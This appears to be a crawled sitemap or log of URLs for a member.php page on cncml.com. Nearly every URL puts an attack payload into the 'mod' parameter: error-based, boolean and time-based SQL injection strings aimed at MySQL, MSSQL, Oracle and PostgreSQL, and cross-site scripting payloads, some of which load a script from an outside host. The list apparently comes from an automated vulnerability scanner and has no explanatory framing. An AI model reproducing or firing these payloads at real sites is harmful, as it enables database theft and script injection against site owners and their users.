http://www.cncml.com/member.php?mod=cml%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2011=12%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2017=17%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2022=22%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2023=68%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2027=96%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%2048=48%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=cml%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=61)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=42)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(24=24)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=cml%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=cml%2527 0.0001 http://www.cncml.com/member.php?mod=cml%2527%20AND%2036=36%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%2527%20AND%2085=86%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/member.php?mod=cml%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=cml%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=cml%3Cscript%3Ealert(abc)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=cml%5B%5D 0.0001 http://www.cncml.com/member.php?mod=cml%5C%22 0.0001 http://www.cncml.com/member.php?mod=cml%5C' 0.0001 http://www.cncml.com/member.php?mod=cml%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=cml%bf%27 0.0001 http://www.cncml.com/member.php?mod=cml&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/member.php?mod=cml' 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'1v'%20LIKE%20'of 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'As'='lm 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'BK'='BK 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'QO'='QO 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'Ws'%20LIKE%20'Ws 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'XT'='XT 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20'n0'='8I 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20's4'='4G 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=cml'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%20'nr'='nr'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=cml'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=cml'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=26)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20'OB'='OB 0.0001 http://www.cncml.com/member.php?mod=cml'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20'lj'='lj 0.0001 http://www.cncml.com/member.php?mod=cml'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20'Hv'='Hv 0.0001 http://www.cncml.com/member.php?mod=cml'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=86)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20'BO'='BO 0.0001 http://www.cncml.com/member.php?mod=cml'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=cml'%22 0.0003 http://www.cncml.com/member.php?mod=cml'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=cml'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=cml'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=cml'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20('Fu'%20LIKE%20'99 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20('m1'%20LIKE%20'm1 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%2011=24%20AND%20('VL'='VL 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%2049=49%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%2055=55%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%2087=32%20AND%20('Jw'='Jw 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=cml')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=cml')%20OR%2046=46%20AND%20('D9'='D9 0.0001 http://www.cncml.com/member.php?mod=cml')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=72)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20('ET'='ET 0.0001 http://www.cncml.com/member.php?mod=cml')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=95)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20('5R'='5R 0.0001 http://www.cncml.com/member.php?mod=cml')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%20'cml'%20ELSE%200x28%20END))%20AND%20('MG'='MG 0.0001 http://www.cncml.com/member.php?mod=cml')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20('ZI'='ZI 0.0001 http://www.cncml.com/member.php?mod=cml')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=cml'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=cml'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=cml',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=cml'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=cml';%20IF(34=34)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=cml';%20IF(47=16)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=cml';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=cml) 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=cml)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=cml)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20(31=31 0.0001 http://www.cncml.com/member.php?mod=cml)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=49)%20THEN%200x636D6C%20ELSE%200x28%20END))%20AND%20(84=84 0.0001 http://www.cncml.com/member.php?mod=cml)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=cml),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=cml);%20IF(67=28)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=cml);%20IF(91=91)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=cml,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=cml,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(24=19)%20THEN%200x636D6C%20ELSE%2024*(SELECT%2024%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(24=24)%20THEN%200x636D6C%20ELSE%2024*(SELECT%2024%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(43=93)%20THEN%200x636D6C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 